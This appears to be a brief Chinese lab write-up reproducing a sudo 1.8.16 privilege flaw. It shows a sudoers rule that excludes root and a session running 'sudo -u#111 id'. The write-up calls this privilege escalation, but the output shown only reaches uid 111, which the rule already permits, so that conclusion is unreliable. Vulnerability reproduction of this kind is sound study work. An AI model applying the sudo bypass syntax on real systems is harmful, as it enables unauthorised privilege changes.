

查看sudo版本

```
lyq@lyq-virtual-machine:~/Documents/CVE$ sudo -V
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
```

添加配置（作用是让test这个用户可以使用sudo命令，以除了root以外的任意身份去执行命令）

```
test    ALL=(ALL,!root) ALL
```

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
test    ALL=(ALL,!root) ALL
```

可以看到成功使用sudo，实现越权

```
root@lyq-virtual-machine:/etc# su test
test@lyq-virtual-machine:/etc$ sudo id
[sudo] password for test:
Sorry, user test is not allowed to execute '/usr/bin/id' as root on lyq-virtual-machine.
test@lyq-virtual-machine:/etc$ sudo -u#111 id
[sudo] password for test:
uid=111(avahi) gid=120(avahi) groups=120(avahi)
test@lyq-virtual-machine:/etc$
```